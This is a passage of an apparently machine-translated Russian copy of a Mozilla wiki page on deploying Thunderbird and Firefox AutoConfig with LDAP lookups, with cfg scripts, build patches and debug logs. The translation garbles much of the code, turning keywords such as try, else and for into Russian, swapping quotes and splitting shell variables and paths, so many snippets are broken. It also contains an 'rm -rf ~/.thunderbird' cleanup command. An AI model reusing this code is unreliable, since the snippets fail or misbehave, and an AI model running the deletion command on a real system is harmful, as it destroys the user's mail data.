посмотри</font></font><font><font> -// (немецкий) http://interop.blog.de/2010/02/13/kapitel-1-ldap-anfragen-linux-ad-8001564/ </font></font><font><font> -// или искать в сети, как это сделать. </font><font>Если невозможно предоставить доступ к анонимным,</font></font><font><font> -// вы должны сначала включить эту функцию, см.</font></font><font><font> -// http://technet.microsoft.com/de-de/library/cc816788(WS.10).aspx</font></font><font><font> -//</font></font><font><font> -//</font></font><font><font> -// помещаем все в try / catch</font></font><font><font> -пытаться {</font></font> - <font><font> -var userInfo = newObject(); </font><font>// Это приведет к результатам LDAP</font></font> - <font><font> -userInfo.envUser = getenv("USERNAME"); </font><font>// USERNAME</font></font><font><font> -userInfo.envHome = getenv("HOME"); </font><font>// Домашний каталог пользователя</font></font> - <font><font> -var ldapHost = "example.com";</font></font><font><font> -var ldapBase = "dc = company, dc = local";</font></font> - <font><font> -if (userInfo.envUser)</font></font><font><font> -{var ldapFilter = "sAMAccountName =" + userInfo.envUser; </font><font>}</font></font><font><font> -еще</font></font><font><font> -{throw («Не удалось получить UID из среды»); </font><font>}</font></font> - <font><font> -// Атрибуты LDAP для извлечения с сервера</font></font><font><font> -var ldapAttrs = new Array("cn", "mail", "sAMAccountName"); </font><font>// добавьте сюда дополнительные атрибуты)</font></font> - <font><font> -// Определите, как обрабатывать результаты LDAP, прежде чем мы сделаем вызов</font></font><font><font> -function processLDAPValues(queryResults)</font></font><font><font> -{if (queryResults)</font></font><font><font> - {// Создаем объект userInfo для последующего использования</font></font><font><font> - для (var attr в ldapAttrs)</font></font><font><font> - {userInfo [ldapAttrs [attr]] = getLDAPValue (queryResults, ldapAttrs [attr]); </font><font>}</font></font><font><font> - } else</font></font><font><font> - {throw(«Нет результатов LDAP»); </font><font>}</font></font><font><font> -}</font></font> - <font><font> -// Вызов LDAP для значений в массиве ldapAttrs, </font></font><font><font> -// Использует предыдущие processLDAPValues ()</font></font><font><font> -getLDAPAttributes (ldapHost, ldapBase, ldapFilter, ldapAttrs.join (","));</font></font> - <font><font> -// Регистрация</font></font><font><font> -// см. также http://blog.deanandadie.net/2010/06/easy-thunderbird-account-management-using-mcd/</font></font><font><font> -// Идентификация</font></font><font><font> -defaultPref("mail.identity.id1.fullName", userInfo.cn);</font></font><font><font> -defaultPref("mail.identity.id1.smtpServer", "smtp1");</font></font><font><font> -defaultPref("mail.identity.id1.useremail", userInfo.mail);</font></font> - <font><font> -// Настройки сервера IMAP</font></font><font><font> -defaultPref("mail.server.server1.hostname", "myImap.server.com");</font></font><font><font> -defaultPref("mail.server.server1.name", userInfo.mail);</font></font><font><font> -defaultPref("mail.server.server1.port", 993);</font></font><font><font> -defaultPref("mail.server.server1.socketType", 3);</font></font><font><font> -defaultPref("mail.server.server1.type", "imap");</font></font><font><font> -defaultPref("mail.server.server1.userName", userInfo.mail);</font></font> - <font><font> -// Параметры SMTP-сервера</font></font><font><font> -defaultPref("mail.smtpserver.smtp1.authMethod", 3);</font></font><font><font> -defaultPref("mail.smtpserver.smtp1.description", "my Company Name");</font></font><font><font> -defaultPref("mail.smtpserver.smtp1.hostname", "mySmtp.server.com");</font></font><font><font> -defaultPref("mail.smtpserver.smtp1.port", 465);</font></font><font><font> -defaultPref("mail.smtpserver.smtp1.try_ssl", 3);</font></font><font><font> -defaultPref("mail.smtpserver.smtp1.username", userInfo.mail);</font></font> - <font><font> -// Склеить все это вместе</font></font><font><font> -defaultPref("mail.account.account1.identities", "id1");</font></font><font><font> -defaultPref("mail.account.account1.server", "server1");</font></font><font><font> -defaultPref("mail.accountmanager.accounts", "account1");</font></font><font><font> -defaultPref("mail.accountmanager.defaultaccount", "account1");</font></font><font><font> -defaultPref("mail.smtp.defaultserver", "smtp1");</font></font><font><font> -defaultPref("mail.smtpservers", "smtp1");</font></font> - <font><font> -// Закройте попытку и вызовите catch()</font></font><font><font> -} catch(e) {</font></font><font><font> - displayError("lockedPref", e);</font></font><font><font> -}</font></font> - -</pre> - -<h5 id="Test_AutoConfig" name="Test_AutoConfig"><font><font>Тест AutoConfig</font></font></h5> - -<h6 id="Debug" name="Debug"><font><font>Отлаживать</font></font></h6> - -<p><font><font>Чтобы проверить, что наш AutoConfig работает нормально, мы просто устанавливаем переменную env для проверки чтения </font></font><code>thunderbird.cfg</code><font><font>файла:</font></font></p> - -<pre><font><font>$ export NSPR_LOG_MODULES = MCD: 5</font></font><font><font> -$ export NSPR_LOG_FILE = /tmp/thunderbird-log.txt</font></font> -</pre> - -<p><font><font>Когда Thunderbird запустится, вы должны прочитать:</font></font></p> - -<pre><font><font> $ cat /tmp/thunderbird-log.txt</font></font><font><font> --1209403040 [808a788]: general.config.filename = thunderbird.cfg</font></font><font><font> --1209403040 [808a788]: оценка файла .cfg thunderbird.cfg с obscureValue 0</font></font> -</pre> - -<h6 id="Clean" name="Clean"><font><font>чистый</font></font></h6> - -<p><font><font>Затем, чтобы начать с новой учетной записи Thunderbird,</font></font></p> - -<div class="note"><font><font>не делайте этого, если у вас уже есть и вы хотите сохранить свои электронные письма и настройки!</font></font></div> - -<pre><font><font>$ rm -rf ~/.thunderbird -</font></font></pre> - -<h6 id="Start_It" name="Start_It"><font><font>Начни это</font></font></h6> - -<pre><font><font>$ thunderbird -</font></font></pre> - -<p><font><font>Если Thunderbird попросит вас импортировать свой профиль из Netscape / Mozilla / TB в зависимости от вашей истории почтового клиента, не импортируйте ничего, здесь мы хотим проверить работу AutoConfig самостоятельно!</font></font></p> - -<p><font><font>Это должно сработать, просто перезапустите процесс, установив другую </font></font><code>USER</code><font><font>переменную ( </font></font><code>USER=procacci</code><font><font>и </font></font><code>USER=test</code><font><font>т. Д.) Любого в вашем каталоге LDAP ...), чтобы проверить многопользовательский AutoConfig.</font></font></p> - -<h3 id="Thunderbird" name="Thunderbird"><font><font>Thunderbird (предыдущий выпуск)</font></font></h3> - -<h4 id="Support_of_AutoConfig_and_LDAP_Calls" name="Support_of_AutoConfig_and_LDAP_Calls"><font><font>Поддержка вызовов AutoConfig и LDAP</font></font></h4> - -<div class="note"><font><font>Ниже приведена «попытка и уловка», которую мы имели в предыдущем выпуске Thunderbird, где эта функция не была скомпилирована по умолчанию, она может помочь при необходимости ...</font></font></div> - -<p><font><font>К сожалению, опция AutoConfig и поддержка LDAP для autoconfig (getLDAPAttributes) не были скомпилированы в пакете Thunderbird по умолчанию в пакете Fedora11 (thunderbird-3.0-2.3.beta2.fc11.src.rpm).</font></font></p> - -<p><font><font>Поэтому нам нужно было запланировать и перекомпилировать этот RPM исходного кода (проверьте </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=295329" title="autoconfig , prefcalls Ldap queries doesn't work">баг 295329</a>);<font><font> </font><font>патч:</font></font></p> - -<pre><font><font>[root @ b008-02 ИСТОЧНИКИ] # cat thunderbird-autoconfigAndLdap.patch</font></font><font><font> -diff -ur thunderbird-3.0 / настроить thunderbird-3.0.autoldap / configure</font></font><font><font> ---- thunderbird-3.0 / configure 2009-06-29 11: 37: 21.677372297 +0200</font></font><font><font> -+++ thunderbird-3.0.autoldap / configure 2009-06-29 14: 41: 11.547435040 +0200</font></font><font><font> -@@ -12855,7 +12855,7 @@</font></font><font><font> - MOZ_FEEDS = 1</font></font><font><font> - MOZ_JSDEBUGGER = 1</font></font><font><font> - MOZ_JSLOADER = 1</font></font><font><font> --MOZ_LDAP_XPCOM =</font></font><font><font> -+ MOZ_LDAP_XPCOM = 1</font></font><font><font> - MOZ_MAIL_NEWS =</font></font><font><font> - MOZ_MORK = 1</font></font><font><font> - MOZ_MORKREADER =</font></font> -</pre> - -<h5 id="AutoConfig_Option_and_LDAP_Support_in_Thunderbird_1.5.x" name="AutoConfig_Option_and_LDAP_Support_in_Thunderbird_1.5.x"><font><font>И set --enable-extensions = pref в файле mozconfig, в исходном RPM в fedora:</font></font></h5> - -<pre><font><font>[root @ b008-02 ИСТОЧНИКИ] # grep enable-extensions / root / rpmbuild / SOURCES / thunderbird-mozconfig</font></font><font><font> -ac_add_options --enable-extensions = pref</font></font> -</pre> - -<h5 id="AutoConfig_Option_and_LDAP_Support_in_Thunderbird_1.5.x" name="AutoConfig_Option_and_LDAP_Support_in_Thunderbird_1.5.x"><font><font>На этот раз кажется хуже, так как даже после применения указанных выше параметров компиляции я получаю следующее сообщение об ошибке при указании thunderbird с autoconfig (autoconf.js с pref ('general.config.filename', 'thunderbird.cfg'); )</font></font></h5> - -<p><font><font>и thunderbird.cfg, вызывающие функции getLDAP * для извлечения cn и почтового адреса текущего пользователя.</font></font></p> - -<pre><font><font>Ошибка Netscape.cfg / AutoConfig. </font><font>Пожалуйста, обратитесь к системному администратору.</font></font><font><font> - Ошибка: getLDAPAttibutes не удалось: [Исключение ... "Результат отказа компонента</font></font><font><font> -код: 0xc1f30001 (NS_ERROR_NOT_INITIALIZED) [nsILDAPURL.spec] "nsresult:</font></font><font><font> -"0xc1f30001 (NS_ERROR_NOT_INITIALIZED)" местоположение: "JS frame ::</font></font><font><font> -file: ////usr/lib/thunderbird-3.0b2/defaults/autoconfig/prefcalls.js ::</font></font><font><font> -getLDAPAttributes :: строка 174 "данные: нет]</font></font> -</pre> - -<h5 id="AutoConfig_Option_and_LDAP_Support_in_Thunderbird_1.5.x" name="AutoConfig_Option_and_LDAP_Support_in_Thunderbird_1.5.x"><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=295329" title="autoconfig , prefcalls Ldap queries doesn't work">баг 295329</a><font><font> был вновь открыт.</font></font></h5> - - - -<h5 id="AutoConfig_Option_and_LDAP_Support_in_Thunderbird_1.5.x" name="AutoConfig_Option_and_LDAP_Support_in_Thunderbird_1.5.x"><font><font>Опция AutoConfig и поддержка LDAP в Thunderbird 1.5.x</font></font></h5> - -<p><font><font>К счастью, AutoConfig теперь является частью пакетов по умолчанию Thunderbird. </font></font><code>MOZ_LDAP_XPCOM=1</code><font><font>и </font></font><code>MOZ_EXTENSIONS_DEFAULT="wallet spellcheck xmlextras pref webservices universalcharset auth"</code><font><font>теперь присутствуют в </font></font><code>configure</code><font><font>скрипте </font><font>по умолчанию </font><font>. </font><font>Подробнее см. </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=295329" title="autoconfig , prefcalls Ldap queries doesn't work">баг 295329</a><font><font>.</font></font></p> - -<h5 id="Add_the_AutoConfig_Option_for_Old_Thunderbird_1.0.x" name="Add_the_AutoConfig_Option_for_Old_Thunderbird_1.0.x"><font><font>Добавьте параметр AutoConfig для Old Thunderbird 1.0.x</font></font></h5> - -<p><font><font>По умолчанию AutoConfig не входит в дистрибутив файлов Thunderbird (1.0.x). </font><font>По-видимому, предполагалось увеличить нагрузку на двоичный объект для функции, не используемой множеством индивидуумов. </font><font>Однако для развертывания предприятия это жизненно важно! </font><font>Таким образом , </font><font>нам необходимо перекомпилировать Thunderbird с поддержкой автонастройки, это просто вопрос добавления </font></font><code>--enable-extensions=pref</code><font><font>в </font></font><code>mozconfig</code><font><font>файл.</font></font></p> - -<p><font><font>На моей 3 системы Fedora Core, я взял исходный пакет Thunderbird </font></font><code>thunderbird-1.0.2-1.3.3.src.rpm</code><font><font>установил его ( </font></font><code>rpm -i</code><font><font>) модифицируется </font></font><code>/usr/src/redhat/SOURCES/thunderbird-mozconfig</code><font><font>путем добавления:</font></font></p> - -<pre><font><font>ac_add_options --enable-extensions = pref -</font></font></pre> - -<p><font><font>Скомпилируйте и установите:</font></font></p> - -<pre><font><font>$ rpmbuild -ba /usr/src/redhat/SPECS/thunderbird.spec</font></font><font><font> -$ rpm -Uvh /usr/src/redhat/RPMS/i386/thunderbird-1.0.2-1.3.3.i386.rpm</font></font> -</pre> - -<p><font><font>После инстилляции AutoConfig наконец возвращается:</font></font></p> - -<pre><font><font>$ rpm -ql thunderbird | </font><font>grep autoconfig</font></font><font><font> -/usr/lib/thunderbird-1.0.2/chrome/en-US/locale/autoconfig</font></font><font><font> -/usr/lib/thunderbird-1.0.2/components/autoconfig.xpt</font></font><font><font> -/usr/lib/thunderbird-1.0.2/components/libautoconfig.so</font></font><font><font> -/usr/lib/thunderbird-1.0.2/defaults/autoconfig</font></font><font><font> -/usr/lib/thunderbird-1.0.2/defaults/autoconfig/platform.js</font></font><font><font> -/usr/lib/thunderbird-1.0.2/defaults/autoconfig/prefcalls.js</font></font> -</pre> - -<h4 id="Bugs_Reports_Related" name="Bugs_Reports_Related"><font><font>Сообщения об ошибках</font></font></h4> - -<p><font><font>Для записи, для старых версий 1.0.x ...</font></font></p> - -<h5 id="Unwanted_White_Space_Reappeared" name="Unwanted_White_Space_Reappeared"><font><font>Нежелательное белое пространство снова появилось</font></font></h5> - -<p><font><font>К сожалению, «пустая ошибка пространства» появилась в Thunderbird 1.0.2. </font><font>См. </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=229271" title='FIXED: unwanted "white space" in function getLDAPValue from autoconfig/prefcalls.js'>ошибка 229271</a><font><font>. </font><font>Хотя это было исправлено в Mozilla mainstream: </font></font><code>mozilla/extensions/pref/autoconfig/src/nsLDAPSyncQuery.cpp 1.7.2.1</code><font><font>к концу 2004 года он по-прежнему присутствует в Thunderbird 1.0.2 по крайней мере :-(, поэтому я применил обходное решение, которое я предложил в этом отчете об ошибке ( </font></font><code>start_pos += 1;</code><font><font>).</font></font></p> - -<h4 id="Thunderbird_2.x_beta_2" name="Thunderbird_2.x_beta_2"><font><font>Thunderbird 2.x beta 2</font></font></h4> - -<p><font><font>Недавно (2007/03/21) я протестировал с помощью thunderbird 2 beta 2 (2007/01/16), чтобы проверить, поддерживается ли autoconfig + ldap. </font><font>Кажется, все в порядке. </font><font>API-интерфейс Autonfig есть, ldap-вызов работает отлично, хорошо!.</font></font></p> - -<p><font><font>Мои тесты были в Windows Vista, и я заметил, по крайней мере, одно различие, это то, что Paths изменились; </font><font>теперь профиль находится в (для моего образца пользователя procacci): C:\Users\procacci\AppData\Roaming\Thunderbird\Profiles\v6we4uku.default</font></font></p> - -<p><img alt="Местоположение профиля Vista" class="internal" src="/@api/deki/files/381/=TB-vista-pref-location.jpg"></p> - -<p><font><font>Начало в режиме отладки в интерфейсе Comand Line:</font></font></p> - -<p><img alt="Запуск в режиме отладки Comand Line Interface" class="internal" src="/@api/deki/files/380/=TB-vista-MCD-test-cli.jpg"></p> - - - -<h4 id="Отладка_с_displayError_()"><font><font>Отладка с displayError ()</font></font></h4> - - - -<p><font><font>Вот результат: я использовал метод displayError () (не лучший способ :-( см. </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=206294" title="Autoconfig via a URL appears to be missing. (autoadmin.global_config_url)">ошибка 206294</a><font><font>), чтобы показать переменные среды и ldap, чтобы проверить, что она работает нормально. Просто установите MOZILLA_DEBUG = 1 (см. Код js в thunderbird.cfg), чтобы это сообщение появилось, оно очень полезно в контексте отладки ...</font></font></p> - -<p><img alt="TB-перспектива-MCD-отладка msg.jpg" class="default internal" src="/@api/deki/files/4816/=TB-vista-MCD-debug-msg.jpg"></p> - -<p><font><font>Функция displayError () не работает должным образом в Thunderbird 3.1: см. </font></font><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=502597#c34" rel="freelink"><font><font>Https://bugzilla.mozilla.org/show_bu...?id=502597#c34</font></font></a></p> - -<p><font><font>Используемое обходное решение помещает следующий код в начало вашего сценария autoconfig:</font></font></p> - -<pre><code>// Enable logging. -pref("MCD.logging.console", "All"); -pref("MCD.logging.dump", "All"); -Components.utils.import("resource:///modules/gloda/log4moz.js"); -var log = Log4Moz.getConfiguredLogger("MCD"); - -// Enable alerts. -var alerts = Components.classes["@mozilla.org/alerts-service;1"] - .getService(Components.interfaces.nsIAlertsService); - -// displayError() is broken. Let's override it. -function displayError(title, msg) { - log.debug(title + ": " + msg); - alerts.showAlertNotification("chrome://branding/content/icon48.png", title, msg); -}</code> -</pre> - -<h3 id="Firefox" name="Firefox"><font><font>Fire Fox</font></font></h3> - -<p><font><font>Это те же принципы, что и для firefox, как описано выше для thunderbir. </font><font>Бинарные дистрибутивы теперь должны включать поддержку AutoConfig (pref extension!), Но, к сожалению, не для вызовов LDAP :-( (cf. </font></font><code>MOZ_LDAP_XPCOM=1</code><font><font>). Это не важно в Firefox, как для нас в Thunderbird (нужно получить cn и адрес электронной почты для установите учетную запись электронной почты, которые по умолчанию недоступны в переменных среды). Однако мне было бы полезно получить значения LDAP для дополнительной настройки Firefox, например, чтобы установить главную страницу по умолчанию на </font></font><code>labeledURI</code><font><font>атрибут LDAP пользователя.</font></font></p> - -<h4 id="AutoConfig_.28pref.29_and_LDAP_Support_in_Packages" name="AutoConfig_.28pref.29_and_LDAP_Support_in_Packages"><font><font>Firefox 22</font></font></h4> - -<p><font><font>omni.jar архивный файл стал omni.ja с </font></font><a href="http://blog.ffextensionguru.com/2011/11/16/omni-jar-to-become-omni-ja/" style="line-height: 1.572;"><font><font>http://blog.ffextensionguru.com/2011/11/16/omni-jar-to-become-omni-ja/</font></font></a></p> - -<pre><font><font>[root@localhost firefox] # unzip -l /usr/lib/firefox/browser/omni.ja | </font><font>grep defaults/pr</font></font><font><font> -warning [/usr/lib/firefox/browser/omni.ja]: 3598815 дополнительных байтов в начале или в zip-файле</font></font><font><font> - (пытаясь все равно обработать)</font></font><font><font> -error [/usr/lib/firefox/browser/omni.ja]: указана длина центрального каталога</font></font><font><font> - -3598815 байтов слишком долго (Atari STZip zipfile? JHHolm ZIPSPLIT 1.1</font></font><font><font> - ZipFile?). </font><font>Компенсационный ...</font></font><font><font> - 3850 01-01-2010 00:00 defaults/profile/bookmarks.html</font></font><font><font> - 869 01-01-2010 00:00 defaults/profile/chrome/userContent-example.css</font></font><font><font> - 1165 01-01-2010 00:00 defaults/profile/chrome/userChrome-example.css</font></font><font><font> - 366 01-01-2010 00:00 defaults/profile/localstore.rdf</font></font><font><font> - 569 01-01-2010 00:00 defaults/profile/mimeTypes.rdf</font></font><font><font> - 76 01-01-2010 00:00 defaults/preferences/firefox-l10n.js</font></font><font><font> - 91656 01-01-2010 00:00 defaults/preferences/firefox.js</font></font><font><font> - 1593 01-01-2010 00:00 по умолчанию/предпочтения/firefox-branding.js</font></font><font><font> - 473 01-01-2010 00:00 defaults/profile/prefs.js</font></font> -</pre> - -<p><font><font>В отличие от старого Thunderbird 8 Firefox 8 не включал </font></font><code><em> prefcalls.js</em></code><font><font> в </font><font>себя</font></font><code> omni.jar</code><font><font>, но и </font><font>другие файлы .js , </font><font>хотя:</font></font></p> - -<pre><font><font>[root @ arvouin firefox] # jar tvf omni.jar | </font><font>grep defaults/pref</font></font><font><font> - 0 Пт ноя 04 21:34:18 CET 2011 defaults/предпочтения/</font></font><font><font> - 604 Пт ноя 04 21:34:18 CET 2011 defaults/ preferences/all-redhat.js</font></font><font><font> - 1389 Пт ноя 04 21:34:18 CET 2011 defaults/references/firefox-branding.js</font></font><font><font> - 76 Пт ноя 04 21:34:18 CET 2011 defaults/preferences/firefox-l10n.js</font></font><font><font> - 50295 Пт ноя 04 21:34:18 CET 2011 defaults/preferences/firefox.js</font></font><font><font> - 2470 Пт ноя 04 21:34:18 CET 2011 defaults/preferences/services-sync.js</font></font> -</pre> - -<p><font><font>Таким образом, нет </font></font><code>defaults/autoconfig/prefcalls.js</code><font><font>и </font></font><code>defaults/pref</code><font><font>каталог теперь называется </font></font><code>defaults/preferences/</code><font><font>!</font></font></p> - -<p><font><font>Помните, что в Thunderbird 5 мы</font></font></p> - -<p><code># jar tvf ../thunderbird-5.0/omni.jar | grep pref</code></p> - -<pre><code>7499 Fri Jun 24 20:23:08 CEST 2011 <strong>defaults/autoconfig/prefcalls.js</strong> - 0 Fri Jun 24 20:23:08 CEST 2011 <strong>defaults/pref/</strong> - 277 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/all-l10n.js - 27221 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/all-thunderbird.js - 5865 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/composer.js - 42591 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/mailnews.js - 806 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/mdn.js - 267 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/smime.js - 921 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/thunderbird-branding.js - 347 Fri Jun 24 20:23:08 CEST 2011 defaults/profile/prefs.js - 84859 Fri Jun 24 20:23:08 CEST 2011 greprefs.js</code> -</pre> - -<p><font><font>Тем не менее, «autoconfig» все еще может работать в Firefox 22, если его не существует, вам придется вручную создать ветвь каталога, чтобы установить ff-autoconfig.js в </font></font><code> defaults/preferences/</code><font><font>:</font></font></p> - -<pre><code>[root@calaz firefox]# mkdir -p defaults/preferences/ </code> - -<code>[root@calaz firefox]# cat defaults/preferences/ff-autoconf.js -// autoconfig jehan -pref('general.config.obscure_value', 0); -pref('general.config.filename', 'firefox.cfg');</code> -</pre> - -<p><font><font>затем укажите наш набор предпочтений для Firefox в firefox.cfg, как указано выше в ff-autoconf.js.</font></font></p> - -<pre><code>[root@calaz firefox]# cat firefox.cfg -//put everything in a try/catch -try { -//Privacy & Security -defaultPref("signon.rememberSignons", false); - -//Proxy and cache, as it is on NFS volume, we don't want cache -lockPref("browser.cache.disk.capacity", 0); -lockPref("network.cookie.cookieBehavior", 0); -defaultPref("network.proxy.autoconfig_url", "http://wpad.int-evry.fr/wpad.dat"); -defaultPref("network.proxy.type", 2); -lockPref("network.protocol-handler.app.mailto", "/usr/bin/thunderbird"); - -//Firefox3 urlclassifier3.sqlite IOwait/CPU pb -//http://forums.mozillazine.org/viewtopic.php?p=3381133#3381133 -defaultPref("browser.safebrowsing.enabled", false); -defaultPref("browser.safebrowsing.malware.enabled", false); - -// 1) env variables -if(getenv("USER") != "") { - // *NIX settings - var env_user = getenv("USER"); - var env_home = getenv("HOME"); - } else { - // Windows settings - var env_user = getenv("USERNAME"); - var env_home = getenv("HOMEPATH"); - } - var env_mozdebug= getenv("MOZILLA_DEBUG"); - -// 2) define here (because if set after "3)" below it doesn't work !) processLDAPValues which is eventually called by getLDAPAttributes() just below, -// check getLDAPAttributes() code from $MOZILLA_HOME/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processLDAPValues</code> -</pre> - -<p><br> - <code><u><strong>/* Commented all this section about ldap calls, not supported in FF5 packages :-( </strong></u></code></p> - -<p><br> - <code>function processLDAPValues (values) {<br> - if(values) {<br> - // set the global var with the values returned from the LDAP query<br> - ldap_values = values;<br> - var uid = getLDAPValue ( values ,"uid" );<br> - var cn = getLDAPValue ( values ,"cn" );<br> - var mail = getLDAPValue ( values ,"mail" );<br> - var URL = getLDAPValue ( values ,"labeledURI" );<br> - //Debug with popup error messages doesn't work anymore :-( !!<br> - var env_mozdebug= getenv("MOZILLA_DEBUG");<br> - if (env_mozdebug) {displayError("NO ERROR , just a debug, cn =" + cn + " and mail = " + mail + " ,labeledURI=" + URL ); }<br> - //if (env_mozdebug) {displayError("NO ERROR , just a test, cn =" + cn + " and mail = " + mail); }<br> - //lockPref("browser.startup.homepage", URL );<br> - lockPref("browser.startup.homepage", <a href="http://gaspar.it-sudparis.eu" rel="freelink">http://gaspar.it-sudparis.eu</a> );<br> - }<br> - }<br> - */<br> - if (env_mozdebug) {displayError("NO ERROR ,s2ia debug v1.1 just a test, user =" + env_user); }<br> - lockPref("browser.startup.homepage", "<a href="http://gaspar.it-sudparis.eu" rel="freelink">http://gaspar.it-sudparis.eu</a>" );<br> - // 3) Call Ldap servers to get Ldap Attributes (mail & cn) , this will finally call processLDAPValues , "2)" just above.<br> - // getLDAPAttributes("ldap2.int-evry.fr","ou=people,dc=int-evry,dc=fr","uid=" + env_user,"uid,cn,mail,labeledURI");<br> - <br> - // Close the try, and call the catch()<br> - } catch(e) {displayError("lockedPref", e);}</code></p> - -<p><font><font>если вызов Ldap раскомментирован в файле настроек выше, тогда я получаю всплывающее окно с:</font></font></p> - -<p><font><font>Ошибка Netscape.cfg / AutoConfig. </font><font>Пожалуйста, обратитесь к системному администратору.</font></font><br> - <font><font> Ошибка: getLDAPAttibutes не удалось: [Исключение ... "Не удалось преобразовать аргумент JavaScript arg 0 [nsISupports.QueryInterface]" nsresult: "0x80570009 (NS_ERROR_XPC_BAD_CONVERT_JS)" location: "JS frame :: prefcalls.js :: getLDAPAttributes :: line 177" данные: нет]</font></font></p> - -<h4 id="AutoConfig_.28pref.29_and_LDAP_Support_in_Packages" name="AutoConfig_.28pref.29_and_LDAP_Support_in_Packages"><font><font>Поддержка AutoConfig (pref) и LDAP в пакетах</font></font></h4> - -<h5 id="Add_LDAP_Support_in_Firefox_1.5" name="Add_LDAP_Support_in_Firefox_1.5"><font><font>Добавить поддержку LDAP в Firefox 1.5</font></font></h5> - -<p><font><font>По меньшей мере, от Firefox 1.5, AutoConfig скомпилирован по умолчанию (cf. browser </font></font><code>MOZ_EXTENSIONS_DEFAULT="pref..."</code><font><font>), но не LDAP ( </font></font><code>MOZ_LDAP_XPCOM=1</code><font><font>). </font><font>Вам нужно перекомпилировать пакет, чтобы получить его, ср. </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=295329" title="autoconfig , prefcalls Ldap queries doesn't work">ошибка 295329</a><font><font>.</font></font></p> - -<h5 id="Add_AutoConfig_and_LDAP_Support_in_Firefox_1.0.x" name="Add_AutoConfig_and_LDAP_Support_in_Firefox_1.0.x"><font><font>Добавьте поддержку AutoConfig и LDAP в Firefox 1.0.x</font></font></h5> - -<p><font><font>Добавьте pref extension ( </font></font><code>--enable-extensions=pref</code><font><font>) и удалите </font></font><code>--disable-ldap</code><font><font>из </font></font><code>mozconfig</code><font><font>файла. </font><font>Можно проверить, как Firefox был скомпилирован, открыв </font></font><code>about:buildconfig</code><font><font>(не знаете эквивалент для Thunderbird! Как он был скомпилирован?)</font></font></p> - -<pre><font><font>о: buildconfig</font></font> -<font><font> -Построение платформы</font></font><font><font> -цель</font></font><font><font> -i686-ПК-Linux-гну</font></font> -<font><font> -Инструменты сборки</font></font><font><font> -Флаговые компиляторы версии компилятора</font></font><font><font> -gcc gcc версия 3.4.3 20050227 (Red Hat 3.4.3-22.fc3) -Wall -W -Wno-unused -Wpointer-arith -Wcast-align -Wno-long-long -pedantic -pthread -pipe</font></font><font><font> -c ++ gcc версия 3.4.3 20050227 (Red Hat 3.4.3-22.fc3) -fno-rtti -fno-exceptions -Wall -Wconversion -Wpointer-arith -Wcast-align -Woverloaded-virtual -Wsynth -Wno-ctor-dtor -privacy -Wno-non-virtual-dtor -Wno-long-long -pedantic -fshort-wchar -pthread -pipe -I / usr / X11R6 / include</font></font> -<font><font> -Настроить аргументы</font></font><font><font> ---disable-mailnews --enable-extensions = cookie, xml-rpc, xmlextras, pref, transformiix, universalchardet, webservices, инспектор, gnomevfs, negotiateauth --enable-crypto --disable-composer --enable-single-profile - -disable-profilesharing --with-system-jpeg --with-system-zlib --with-system-png --with-pthreads --disable-tests --disable-jsd --disable-installer '--enable- optimize = -Os -g -pipe -m32 -march = i386 -mtune = pentium4 '--enable-xft --enable-xinerama --enable-default-toolkit = gtk2 --enable-official-branding --disable-xprint --disable-strip -enable-pango </font></font> -</pre> - -<h4 id="all.js" name="all.js"><font><font>autoconf.js</font></font></h4> - -<pre><font><font>[root @ b008-02 /usr/lib/firefox-1.5.0.2]</font></font><font><font> -$ tail -4 greprefs/autoconf.js</font></font><font><font> -// AutoConfig jehan</font></font><font><font> -pref('general.config.obscure_value', 0);</font></font><font><font> -pref('general.config.filename', 'firefox.cfg');</font></font> -</pre> - -<h4 id="firefox.cfg" name="firefox.cfg"><font><font>firefox.cfg</font></font></h4> - -<p>This file will set the browser home page to the <code>labeledURI</code> page defined in the user's LDAP entry, hence it checks that both AutoConfig + LDAP work fine.</p> - -<pre>[root@b008-02 /usr/lib/firefox-1.5.0.2] -$cat firefox.cfg -//put everything in a try/catch -try { - -//Privacy & Security -defaultPref("signon.rememberSignons", false); - -// 1) env variables -if(getenv("USER") != "") { - // *NIX settings - var env_user = getenv("USER"); - var env_home = getenv("HOME"); -} else { - // Windows settings - var env_user = getenv("USERNAME"); - var env_home = getenv("HOMEPATH"); -} -var env_mozdebug = getenv("MOZILLA_DEBUG"); - -/* 2) define here (because if set after "3)" below it doesn't work!) processLDAPValues which is eventually called by getLDAPAttributes() just below, - check getLDAPAttributes() code from $MOZILLA_HOME/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processLDAPValues -*/ -function processLDAPValues(values) { - if(values) { - // set the global var with the values returned from the LDAP query - ldap_values = values; - var uid = getLDAPValue(values, "uid"); - var cn = getLDAPValue(values, "cn"); - var mail = getLDAPValue(values, "mail"); - var URL = getLDAPValue(values, "labeledURI"); -//Debug with popup error messages doesn't work anymore :-( !! -var env_mozdebug= getenv("MOZILLA_DEBUG"); -if (env_mozdebug) {displayError("NO ERROR, just a debug, cn =" + cn + " and mail = " + mail + ", labeledURI= " + URL); } -lockPref("browser.startup.homepage", URL); - } - } - -//lockPref("browser.startup.homepage", "http://www.renater.fr/"); -// 3) Call LDAP servers to get LDAP Attributes (mail & cn), this will finally call processLDAPValues, "2)" just above. - getLDAPAttributes("ldap2.int-evry.fr","ou=people,dc=int-evry,dc=fr","uid=" + env_user,"uid,cn,mail,labeledURI"); - -// Close the try, and call the catch() -} catch(e) {displayError("lockedPref", e);} -</pre> - -<h4 id="Debug_2" name="Debug_2">Debug</h4> - -<p>If you set a username and the <code>MOZILLA_DEBUG</code> variable (<code>$export MOZILLA_DEBUG=1; export USER=procacci</code>), then the <code>displayError()</code> will show you this popup:</p> - -<p><img alt="Изображение: Mozilla-автонастройки-en001.png" class="internal" src="/@api/deki/files/776/=Mozilla-autoconfig-en001.png"></p> - -<p>That's a popup titled as "error", but it's just a debug tool for me as I 